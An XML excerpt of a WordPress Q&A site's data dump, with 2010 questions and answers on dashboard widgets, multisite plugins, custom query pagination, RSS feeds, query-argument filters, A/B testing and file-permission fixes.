  <row Id="4690" PostTypeId="1" AcceptedAnswerId="4697" CreationDate="2010-11-30T16:45:59.630" Score="0" ViewCount="436" Body="&lt;p&gt;&lt;strong&gt;My Question:&lt;/strong&gt;&lt;br&gt;&#xA;Is it possible to add custom dashboard widgets in the right hand column instead of only on the left hands side?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;wp_add_dashboard_plugin( $widget_id, $widget_name, $callback, $control_callback = null )&lt;/code&gt; to add the plugin code, but it doesn't have any options to allow you to set the position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Comments:&lt;/strong&gt;&lt;br&gt;&#xA;The Version 2.8 of WordPress suggests that it's possible, but I can't see anything in the code (/wp-admin/includes/dashboard.php) that is related to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems only to add the dashboard plugin if its name is in the &lt;code&gt;$side_widgets&lt;/code&gt; array, the contents of which are:&#xA;&lt;code&gt;array('dashboard_quick_press', 'dashboard_recent_drafts', 'dashboard_primary', 'dashboard_secondary');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thoughts are that I'd have to directly modify &lt;code&gt;$wp_meta_boxes['dashboard']&lt;/code&gt; - but I'm not sure of the consequences of this. &lt;/p&gt;&#xA;" OwnerUserId="798" LastActivityDate="2010-11-30T19:42:54.520" Title="How to position custom dashboard widgets on side column" Tags="&lt;widgets&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="4691" PostTypeId="1" AcceptedAnswerId="4706" CreationDate="2010-11-30T16:54:46.597" Score="1" ViewCount="108" Body="&lt;p&gt;I would like to install a plugin on 3 out of the 20 blogs I have going on my MutliSite WP 3.0. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2010-11-30T21:44:30.927" Title="Installing One Plugin on a Few Blogs on a MultiSite" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="4692" PostTypeId="2" ParentId="4689" CreationDate="2010-11-30T17:51:47.633" Score="4" ViewCount="" Body="&lt;p&gt;From the Codex (http://codex.wordpress.org/Function_Reference/get_footer)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the theme contains no footer.php file then the footer from the default theme wp-includes/theme-compat/footer.php will be included.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Chances are that something is wrong with your footer.php, and there's nothing to render - ie it's being called, but it's not doing what's expected. . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you paste your footer.php?&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-11-30T17:51:47.633" CommentCount="1" />
  <row Id="4693" PostTypeId="2" ParentId="29" CreationDate="2010-11-30T18:15:49.377" Score="0" ViewCount="" Body="&lt;h1&gt;**WP-Mojo.com**&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wp-mojo.com&quot; rel=&quot;nofollow&quot;&gt;http://wp-mojo.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a comprehensive collection of the best WordPress (premium and free) themes. You can browse, search and test drive over 800 themes form the most popular WP themes providers.&lt;/p&gt;&#xA;" LastEditorUserId="2606" LastEditorDisplayName="" LastEditDate="2011-02-27T03:34:49.660" LastActivityDate="2011-02-27T03:34:49.660" CommunityOwnedDate="2010-11-30T18:15:49.377" />
  <row Id="4694" PostTypeId="1" AcceptedAnswerId="4993" CreationDate="2010-11-30T18:19:48.520" Score="1" ViewCount="609" Body="&lt;p&gt;Please help me understand how to make Multicheck type for metabox. Search for all internet and nothing. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;      UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;@Jan I have a headache from this function. I dont know whats wrong.I'm trying your method but nothing, then I'm trying get_posts but with this method I have too many troubles. With your method I get this error before content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: urldecode() expects parameter 1 to be string, array given in Z:\home\mysite.net\www\wp-includes\query.php on line 1878&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        $catids = get_post_meta($post-&amp;gt;ID,'_mtb_multicheck',false);&#xA;        $limit = 10;&#xA;        query_posts( array('posts_per_page' =&amp;gt; $limit, 'cat' =&amp;gt; $catids, 'paged' =&amp;gt; get_query_var('paged') ) );&#xA;    ?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;!-- Content--&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;  &#xA;            &amp;lt;?php pagination(); ?&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;!--Error message here--&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to know what my vatiables return. Make this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array('posts_per_page' =&amp;gt; $limit, 'cat' =&amp;gt; print_r($catids), 'paged' =&amp;gt; get_query_var('paged') ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and get this on my page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [0] =&amp;gt; 5 [1] =&amp;gt; 5 [2] =&amp;gt; 3 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think it's my query_posts printed, not $catids. It's a big, big trouble. I feel myself like a nerd. Please help me.&lt;/p&gt;&#xA;" OwnerUserId="1752" LastEditorUserId="1752" LastEditorDisplayName="" LastEditDate="2010-12-09T22:49:25.950" LastActivityDate="2011-01-18T18:37:51.253" Title="How to make multicheck for post/page meta box" Tags="&lt;metabox&gt;" AnswerCount="2" CommentCount="11" FavoriteCount="1" />
  <row Id="4695" PostTypeId="1" AcceptedAnswerId="4698" CreationDate="2010-11-30T18:28:48.357" Score="1" ViewCount="176" Body="&lt;p&gt;Is it safe to use &lt;code&gt;$wpdb-&gt;insert_id;&lt;/code&gt; to find the &lt;code&gt;id&lt;/code&gt; of a last updated &lt;code&gt;row id&lt;/code&gt; just after an update? ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $sql = $wpdb-&amp;gt;insert($table_name, $arrayWithDataToInsert, array('%s','%s'));&#xA;            $results['new_created_id'] = $wpdb-&amp;gt;insert_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or am I running into the possibility that I will catch the id of another row that was inserted  immediatly after mine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1572" LastActivityDate="2010-11-30T19:53:23.993" Title="Safe way to find last inserted id in a table?" Tags="&lt;database&gt;&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="4696" PostTypeId="1" AcceptedAnswerId="4701" CreationDate="2010-11-30T18:44:43.290" Score="2" ViewCount="1661" Body="&lt;p&gt;I've got a custom loop that I'm using to display some Real Estate listings that will be available within 60 days. I'm calling it with the following function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$sixtydays = date('Y/m/d', strtotime('+60 days'));&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$query = new PostsOrderedByMetaQuery(array(&#xA;  'post_type' =&amp;gt; array('post', 'real-estate'),&#xA;  'meta_key' =&amp;gt; 'Time Available',&#xA;  'meta_compare' =&amp;gt; '&amp;lt;=',&#xA;  'meta_value' =&amp;gt; $sixtydays,&#xA;  'paged' =&amp;gt; $paged,&#xA;  'orderby_meta_key' =&amp;gt; 'Price',&#xA;  'orderby_order'    =&amp;gt; 'ASC'&#xA;));&#xA;?&amp;gt;&#xA;&amp;lt;?php while ($query-&amp;gt;have_posts()) : $query-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While the loop works great, I can't get it to paginate. It shows the first 10 (my default) posts but doesn't show the pagination. The only way to display all posts is to show them on one page by adding &lt;code&gt;'posts_per_page' =&amp;gt; -1,&lt;/code&gt; I have similar loops on other pages that have no problem paginating. The only difference with this one is that there are &lt;strong&gt;two&lt;/strong&gt; meta keys that are filtering the posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WP Page Navi for this and the rest of my pages. I'm closing the loop and adding the pagination using the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php endwhile; // End the loop. Whew. ?&amp;gt;&#xA;&amp;lt;?php wp_pagenavi(); ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I go about fixing this?&lt;/p&gt;&#xA;" OwnerUserId="1753" LastActivityDate="2010-12-13T15:25:31.597" Title="Pagination not working with custom loop" Tags="&lt;custom-post-types&gt;&lt;query&gt;&lt;loop&gt;&lt;pagination&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="4697" PostTypeId="2" ParentId="4690" CreationDate="2010-11-30T19:42:54.520" Score="3" ViewCount="" Body="&lt;p&gt;You're right - it doesn't. Neither does the &lt;code&gt;wp_add_dashboard_widget&lt;/code&gt; function. So just use the generic &lt;code&gt;add_meta_box&lt;/code&gt; and indicate dashboard and placement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_dashboard_setup', 'my_dashboard_setup_function' );&#xA;function my_dashboard_setup_function() {&#xA;    add_meta_box( 'my_dashboard_widget', 'My Widget Name', 'my_dashboard_widget_function', 'dashboard', 'side', 'high' );&#xA;}&#xA;function my_dashboard_widget_function() {&#xA;    // widget content goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-11-30T19:42:54.520" CommentCount="1" />
  <row Id="4698" PostTypeId="2" ParentId="4695" CreationDate="2010-11-30T19:53:23.993" Score="3" ViewCount="" Body="&lt;p&gt;At a higher level, there truly isn't any means to know if the php/db connector will return the correct id by relying on $wpdb-&gt;insert_id. The only way to be 100% sure is to have add a key you know will be unique (and indexed as such); you can then retrieve the id by querying the table against that unique key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I write this is, if a trigger function adds rows from within the DB, or more importantly if a plugin hooks in wpdb in a such a way that it messes around with inserts alongside the one you're doing (e.g. for logging), you're not safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, hardly anyone in the WP community (and most other communities, for that matter) has the slightest idea of what a DB can do, and treats the thing as if it's a bunch of huge arrays. So you're very safe to rely on it in practice.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-30T19:53:23.993" CommentCount="2" />
  <row Id="4699" PostTypeId="2" ParentId="4696" CreationDate="2010-11-30T19:56:03.173" Score="1" ViewCount="" Body="&lt;p&gt;I had a similar issue earlier today...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have a custom post type and a page or post with the same slug? Meaning is the url of a page you have /real-estate and the custom post type url rewrite at /real-estate ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case you can't have 2 with the same url or else wordpress gets confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You either can change the url or try this &lt;a href=&quot;http://wordpress.org/support/topic/pagination-with-custom-post-type-listing?replies=23#post-1637753&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/pagination-with-custom-post-type-listing?replies=23#post-1637753&lt;/a&gt;. I chose to change my url, but someone on there wrote a custom query to get around the problem&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-11-30T19:56:03.173" CommentCount="1" />
  <row Id="4700" PostTypeId="1" CreationDate="2010-11-30T20:12:23.663" Score="0" ViewCount="55" Body="&lt;p&gt;hope you can help me with this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom page template that pulls in an RSS feed from a separate site (owned by the same guy, my client). While testing the page on my own server, it works beautifully, but when I migrated the theme over to my clients' wordpress install (both are v3.0.1), the feed would not appear, and neither would the page's sidebar or footer. When I investigated further, it appeared that WP simply stops parsing the page template when it hits the feed section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect a plugin conflict, although I've not been able to replicate the error on my own server, even when I installed the same plugins as my client &amp;amp; configured them similarly. Any ideas as to what may be causing WP to choke? I'd really appreciate any guidance. For reference, here is the RSS feed code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Get a SimplePie feed object from the specified feed source.&#xA;$rss = fetch_feed('http://digitaldads.com/feed/');&#xA;if (!is_wp_error( $rss ) ) : // Checks that the object is created correctly &#xA;// Figure out how many total items there are, but limit it to 5. &#xA;$maxitems = $rss-&amp;gt;get_item_quantity(5); &#xA;&#xA;// Build an array of all the items, starting with element 0 (first element).&#xA;$rss_items = $rss-&amp;gt;get_items(0, $maxitems); &#xA;endif;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php if ($maxitems == 0) echo '&amp;lt;li&amp;gt;No items.&amp;lt;/li&amp;gt;';&#xA;else&#xA;// Loop through each feed item and display each item as a hyperlink.&#xA;foreach ( $rss_items as $item ) : ?&amp;gt;&#xA;&amp;lt;li&amp;gt;&#xA;    &amp;lt;a href='&amp;lt;?php echo $item-&amp;gt;get_permalink(); ?&amp;gt;'&#xA;    title='&amp;lt;?php echo 'Posted '.$item-&amp;gt;get_date('j F Y | g:i a'); ?&amp;gt;'&amp;gt;&#xA;    &amp;lt;?php echo $item-&amp;gt;get_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jason&lt;/p&gt;&#xA;" OwnerUserId="1755" LastActivityDate="2010-11-30T20:57:02.473" Title="RSS feed error stopping parsing of page template" Tags="&lt;rss&gt;&lt;errors&gt;&lt;feed&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4701" PostTypeId="2" ParentId="4696" CreationDate="2010-11-30T20:30:55.513" Score="4" ViewCount="" Body="&lt;p&gt;I've run into this problem with PageNavi before. My solution is to hijack the $wp_query variable temporarily and then reassign it after closing the loop. An exmaple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$args=array(&#xA;   'post_type'=&amp;gt;'post',&#xA;   'cat' =&amp;gt; 6,&#xA;   'posts_per_page' =&amp;gt; 5,&#xA;   'paged'=&amp;gt;$paged&#xA;);&#xA;$temp = $wp_query;&#xA;$wp_query= null;&#xA;$wp_query = new WP_Query($args);&#xA;&#xA;/* PageNavi at Top */&#xA;if (function_exists('wp_pagenavi')){wp_pagenavi();}&#xA;if ( $wp_query-&amp;gt;have_posts() ) : while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();   &#xA;&#xA;/* DO STUFF IN THE LOOP */&#xA;&#xA;endwhile; endif;&#xA;/* PageNavi at Bottom */&#xA;if (function_exists('wp_pagenavi')){wp_pagenavi();}&#xA;$wp_query = null;&#xA;$wp_query = $temp;&#xA;wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last step is to reassign the $wp_query variable to what is was originally and then reset the query back to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;Edit:&lt;/em&gt;*Fixed php tag. Good eye sniper.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="1756" LastEditorDisplayName="" LastEditDate="2010-12-01T14:46:31.337" LastActivityDate="2010-12-01T14:46:31.337" CommentCount="6" />
  <row Id="4702" PostTypeId="1" AcceptedAnswerId="4714" CreationDate="2010-11-30T20:42:38.273" Score="1" ViewCount="127" Body="&lt;p&gt;What do you guys use for A/B testing with WordPress? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing that WordPress has plugins for everything, I went looking for A/B testing plugin and didn't find any. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also looks like &lt;a href=&quot;http://optimizely.com&quot; rel=&quot;nofollow&quot;&gt;http://optimizely.com&lt;/a&gt; or similar solution may work together with WorpdPress. But I would much rather prefer managing everything in a single app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas/suggestions? &lt;/p&gt;&#xA;" OwnerUserId="1498" LastActivityDate="2011-02-15T12:45:57.810" Title="Best practices for A/B testing?" Tags="&lt;best-practices&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="4703" PostTypeId="2" ParentId="4700" CreationDate="2010-11-30T20:57:02.473" Score="1" ViewCount="" Body="&lt;p&gt;Do you see any php errors or warnings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, try temporarily adding this to the top of your functions.php file. It'll cause any php errors to display, and you can troubleshoot from there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting(E_ALL);&#xA;ini_set('display_errors', '1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-11-30T20:57:02.473" CommentCount="2" />
  <row Id="4704" PostTypeId="2" ParentId="4702" CreationDate="2010-11-30T21:35:48.647" Score="0" ViewCount="" Body="&lt;p&gt;I know there is Automattic-funded &lt;a href=&quot;http://wordpress.org/extend/plugins/shrimptest/&quot; rel=&quot;nofollow&quot;&gt;ShrimpTest&lt;/a&gt; plugin, but sadly development seems stale.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-30T21:35:48.647" CommentCount="0" />
  <row Id="4705" PostTypeId="1" AcceptedAnswerId="4708" CreationDate="2010-11-30T21:38:35.490" Score="0" ViewCount="171" Body="&lt;p&gt;I added a filter to append a parameter onto the URL when navigating in categories. This is used to sort posts by their votes when browsing a category only if a &lt;code&gt;sort&lt;/code&gt; parameter is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance when you click view all posts with most votes, posts with high votes are displayed. From there you can view most voted posts by category by appending a &lt;code&gt;sort=most_voted&lt;/code&gt; or &lt;code&gt;sort=doleast_voted&lt;/code&gt; to the URL with &lt;code&gt;cat=?&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'category_link','append_parameter', 10, 2 );&#xA;&#xA;function append_parameter( $link, $query ) {&#xA;$my_parameter = $query-&amp;gt;query_vars['sort']; //get sort value&#xA;if ( isset($my_parameter) ) { //if browsing posts by votes&#xA;    $link = add_query_arg( 'sort', $my_parameter, $link );&#xA;}&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't figure out why the sort parameter isn't appended to the URL. This works however without the if statements and a value instead of the &lt;code&gt;$my_parameter&lt;/code&gt; in the add_query_arg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: New working code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_filter( 'category_link','append_parameter', 10, 2 );&#xA;&#xA;    function append_parameter( $link, $my_parameter ) {&#xA;    $my_parameter = $_GET['sort']; //get sort value       &#xA;    if ( isset($my_parameter) ) { &#xA;        $link = add_query_arg( 'sort', $my_parameter, $link );&#xA;    }&#xA;        return $link;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1717" LastEditorUserId="1717" LastEditorDisplayName="" LastEditDate="2010-12-01T15:42:11.867" LastActivityDate="2010-12-01T15:42:11.867" Title="add_query_arg not working" Tags="&lt;plugins&gt;&lt;php&gt;&lt;functions&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="4706" PostTypeId="2" ParentId="4691" CreationDate="2010-11-30T21:44:30.927" Score="2" ViewCount="" Body="&lt;p&gt;The plugins folder is shared. You can install one copy of the plugin and &lt;em&gt;activate&lt;/em&gt; it on three blogs and not the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don;t want the others to be aware of the plugin's existence... you'll have to use another plugin to exclude it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/restrict-multisite-plugins/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/restrict-multisite-plugins/&lt;/a&gt;&#xA;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/exclude-plugins/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/exclude-plugins/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-11-30T21:44:30.927" />
  <row Id="4707" PostTypeId="1" CreationDate="2010-11-30T21:48:21.420" Score="1" ViewCount="456" Body="&lt;p&gt;I have a page where I only want to show posts from a specific category. At the same time, I want the posts to be sorted by a custom field value in my posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('category_name=' . str_replace(&quot; &quot;, &quot;&quot;, $store_name) . '&amp;amp;meta_key=wpfp_favorites&amp;amp;orderby=meta_value_num');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sorting is not working however. The posts are not sorted by the custom field value. Any ideas why? What do I need to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added:&#xA;In a similar case, it is working perfectly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('tag=' . $pagetitle . '&amp;amp;meta_key=wpfp_favorites&amp;amp;orderby=meta_value_num');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="1635" LastEditorDisplayName="" LastEditDate="2010-12-01T18:39:12.623" LastActivityDate="2010-12-03T11:35:34.533" Title="Sort by custom field value" Tags="&lt;3.0&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="4708" PostTypeId="2" ParentId="4705" CreationDate="2010-11-30T21:57:50.640" Score="1" ViewCount="" Body="&lt;p&gt;If you take a look where the &lt;code&gt;category_link&lt;/code&gt; hook is defined in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/category-template.php#L18&quot; rel=&quot;nofollow&quot;&gt;category-template.php&lt;/a&gt; you'll see this particular hook passes on two variables. The second variable is the category ID, but your callback function treats that second incoming variable as a query object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put, you're looking for a &lt;code&gt;query_vars&lt;/code&gt; property/key that does not and cannot exist, because the incoming variable is not a query object.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-01T00:19:36.580" LastActivityDate="2010-12-01T00:19:36.580" CommentCount="5" />
  <row Id="4709" PostTypeId="2" ParentId="4573" CreationDate="2010-11-30T22:14:36.623" Score="4" ViewCount="" Body="&lt;p&gt;I just finished a Wordperss site that had a similar need for playing video. I would recommend going the Youtube route. Youtube will handle hosting, file conversions and with iframe embedding you can be sure the most devices possible will see your videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Wordpress side of the equation, there are many helpful plugins that work with Youtube. My personal favorite is &lt;a href=&quot;http://tubepress.org/&quot; rel=&quot;nofollow&quot;&gt;Tubepress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tubepress is great for making a playlist of just a few specific videos, or showing an entire archive of videos in pagination style. The customization available for displaying videos inline or in modal made it an easy choice for my custom theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're quite sure you're up to the challenge of hosting, properly encoding and serving video on your own, I'd recommend a two front assault. Use &lt;a href=&quot;http://flowplayer.org/&quot; rel=&quot;nofollow&quot;&gt;Flowplayer&lt;/a&gt; as your easy-to-use Flash player for older browsers, and then embrace HTML5 for the newer browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best possible resource for all things HTML5 Video is &lt;a href=&quot;http://diveintohtml5.org/video.html&quot; rel=&quot;nofollow&quot;&gt;Dive into HTML5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-11-30T22:14:36.623" CommentCount="2" />
  <row Id="4710" PostTypeId="2" ParentId="4552" CreationDate="2010-11-30T22:27:08.177" Score="1" ViewCount="" Body="&lt;p&gt;To clarify: there are options under Screen Options for forcing a one column layout, but they are only available choices when on an Wordpress editor page like Posts or Pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Screen Options button appears like a tab next to the Help button in the top right corner of the Wordpress Dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@sorich87 has the best possible solution. Including that code in functions.php will force all users into one column layout in the editor, which could help alleviate confusion for less technical users.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-11-30T22:27:08.177" />
  <row Id="4712" PostTypeId="1" CreationDate="2010-11-30T23:08:30.233" Score="0" ViewCount="511" Body="&lt;p&gt;I have a template page in Wordpress that I want the Admin to be able to change the text on that page. I'd love to learn how to make a plugin (I know how to make a plugin so that it shows up in WP, installs when the user sets it to activate, and then create the admin panel) that shows just one text field, and the data the person enters is passed to the template page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could have help finding a tutorial or simple advice on how to do this, it would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-01T08:44:46.280" LastActivityDate="2011-01-22T10:03:09.073" Title="Creating a theme option page?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="4713" PostTypeId="2" ParentId="4702" CreationDate="2010-11-30T23:34:57.997" Score="0" ViewCount="" Body="&lt;p&gt;Also an plugin how &lt;a href=&quot;http://wordpress.org/extend/plugins/shrimptest/&quot; rel=&quot;nofollow&quot;&gt;Shrimptest&lt;/a&gt; is &lt;a href=&quot;http://wpplugins.com/plugin/11/ab-theme-testing-plugin&quot; rel=&quot;nofollow&quot;&gt;A/B Theme Testing&lt;/a&gt;, this plugin is not so early in development how Shrimptest, but i think, Shrimptest works fine.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-30T23:34:57.997" />
  <row Id="4714" PostTypeId="2" ParentId="4702" CreationDate="2010-11-30T23:44:32.727" Score="1" ViewCount="" Body="&lt;p&gt;This is not a straight WordPress solution but I would recommend a/b testing feature found in the Google website optimizer. &lt;a href=&quot;http://www.google.com/websiteoptimizer/b/index.html&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/websiteoptimizer/b/index.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works with your analytics account. You just need to create two (or more) pages in WordPress.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-11-30T23:44:32.727" CommentCount="1" />
  <row Id="4715" PostTypeId="2" ParentId="4664" CreationDate="2010-12-01T00:00:53.890" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;h3&gt;When trying to install and update plugins, I run into permissions errors all the time.&lt;/h3&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a common problem when running PHP as a DSO or mod_php.  When running this setup the WordPress files must be owned by the same user PHP is running under.  Usually it will be nobody or for Debian / Ubuntu www-data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix chown the whole WordPress directory by running the following from the command line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ chown nobody:nobody blog/ -R&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If WordPress is installed in your root public directory then it would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ chown nobody:nobody public_html/ -R&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set your file permissions at 644 and directories at 755&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-12-01T00:00:53.890" CommentCount="1" />
